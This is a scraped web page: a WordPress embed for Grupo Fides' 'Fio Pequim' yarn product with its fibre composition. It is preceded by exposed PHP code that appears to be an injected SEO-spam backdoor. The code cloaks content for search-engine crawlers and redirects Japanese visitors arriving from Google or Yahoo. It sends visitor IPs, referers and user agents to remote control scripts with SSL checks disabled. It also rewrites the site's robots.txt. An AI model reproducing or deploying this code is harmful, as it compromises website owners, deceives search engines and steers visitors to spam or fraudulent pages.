function curl_get_contents($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url, $data = array()){ $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if(0 !== $errorCode){ return false; } return $output; } function is_crawler($agent){ $agent_check = false; $bots='googlebot|google|yahoo|bing|aol'; if($agent){ if(preg_match("/($bots)/si", $agent)){ $agent_check = true; } } return $agent_check; } function check_refer($refer){ $check_refer = false; $referbots = 'google.co.jp|yahoo.co.jp|google.com'; if($refer){ if(preg_match("/($referbots)/si", $refer)){ $check_refer=true; } } return $check_refer; } $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $ser_name = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : ''; $req_url = $http.$domain.$req_uri; $indata1 = $a."/indata.php"; $map1 = $a."/map.php"; $jump1 = $a."/jump.php"; $url_words = $a."/words.php"; $url_robots = $a."/robots.php"; if(strpos($req_uri, ".php")){ $href1 = $http.$domain.$self; }else{ $href1 = $http.$domain; } $data1 = array(); $data1['domain'] = $domain; $data1['req_uri'] = $req_uri; $data1['href'] = $href1; $data1['req_url'] = $req_url; if(substr($req_uri, -6) == 'robots'){ define('BASE_PATH',$_SERVER['DOCUMENT_ROOT']); $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt'); $data1['robots_cont'] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH.'/robots.txt', $robots_cont); $robots_cont = @file_get_contents(BASE_PATH.'/robots.txt'); if(strpos(strtolower($robots_cont), "sitemap")){ echo 'robots.txt file create success!'; }else{ echo 'robots.txt file create fail!'; } exit(); } if(substr($req_uri, -4) == '.xml'){ if(strpos($req_uri, "allsitemap.xml") || strpos($req_uri, "sitemap-index.xml") || strpos($req_uri, "sitemap-index-1.xml") || strpos($req_uri, "index.xml")){ $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit(); } if(strpos($req_uri, ".php")){ $word4 = explode("?", $req_uri); $word4 = $word4[count($word4)-1]; $word4 = str_replace(".xml", "", $word4); }else{ $word4 = str_replace("/", "", $req_uri); $word4 = str_replace(".xml", "", $word4); } $data1['word'] = $word4; $data1['action'] = 'check_sitemap'; $check_url4 = getServerCont($url_words, $data1); if($check_url4 == '1'){ $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit(); } $data1['action']="check_words"; $check1 = getServerCont($url_words, $data1); if(strpos($req_uri, "map") > 0 || $check1 == '1'){ $data1['action'] = "rand_xml"; } $check_url4 = getServerCont($url_words, $data1); header("Content-type:text/xml"); echo $check_url4; exit(); } if(strpos($req_uri, ".php")){ $main_shell = $http.$ser_name.$self; $data1['main_shell'] = $main_shell; }else{ $main_shell = $http.$ser_name; $data1['main_shell'] = $main_shell; } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $chk_refer = check_refer($referer); $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $res_crawl = is_crawler($user_agent); if(strpos($req_uri, '.php')){ $url_ext = '?'; }else{ $url_ext = '/'; } if(!$res_crawl && $chk_refer){ $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if(preg_match('/ja/i', $lang) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".shtml",".html", ".htm"), "", $req_uri))))){ $data1['ip'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; $data1['referer'] = $referer; $data1['user_agent'] = $user_agent; echo getServerCont($jump1, $data1); exit(); } } if($res_crawl){ $data1['http_user_agent'] = $user_agent; $ser_cont = getServerCont($indata1, $data1); echo $ser_cont;exit(); } ?> 1.0Grupo Fideshttps://grupofides.com.br/enFio Pequim - Grupo Fidesrich600338<blockquote class="wp-embedded-content" data-secret="wWpdLYLdbF"><a href="https://grupofides.com.br/en/product/fio-pequim/">Fio Pequim</a></blockquote><iframe sandbox="allow-scripts" security="restricted" src="https://grupofides.com.br/en/product/fio-pequim/embed/#?secret=wWpdLYLdbF" width="600" height="338" title="“Fio Pequim” — Grupo Fides" data-secret="wWpdLYLdbF" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe><script> /*! This file is auto-generated */ !function(d,l){"use strict";l.querySelector&&d.addEventListener&&"undefined"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!/[^a-zA-Z0-9]/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),o=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),c=new RegExp("^https?:$","i"),i=0;i<o.length;i++)o[i].style.display="none";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute("style"),"height"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):"link"===t.message&&(r=new URL(s.getAttribute("src")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",function(){for(var e,t,s=l.querySelectorAll("iframe.wp-embedded-content"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute("data-secret"))||(t=Math.random().toString(36).substring(2,12),e.src+="#?secret="+t,e.setAttribute("data-secret",t)),e.contentWindow.postMessage({message:"ready",secret:t},"*")},!1)))}(window,document); </script>http://grupofides.com.br/wp-content/uploads/2025/02/Fio_Pequim.jpg371560COMPOSIÇÃO: 48,6 POLIESTER, 48,7 ACRILICO 2,7 VISCOSE – LINHO PAPIRO 97,3 ACRILICO, 2,7 VISCOSE – LINHO PAPIRO E NATURAL DEMAIS CORES: 100% ACRILICO Temos uma cartela com uma variedade de cores estudadas e desenvolvidas para a nova coleção!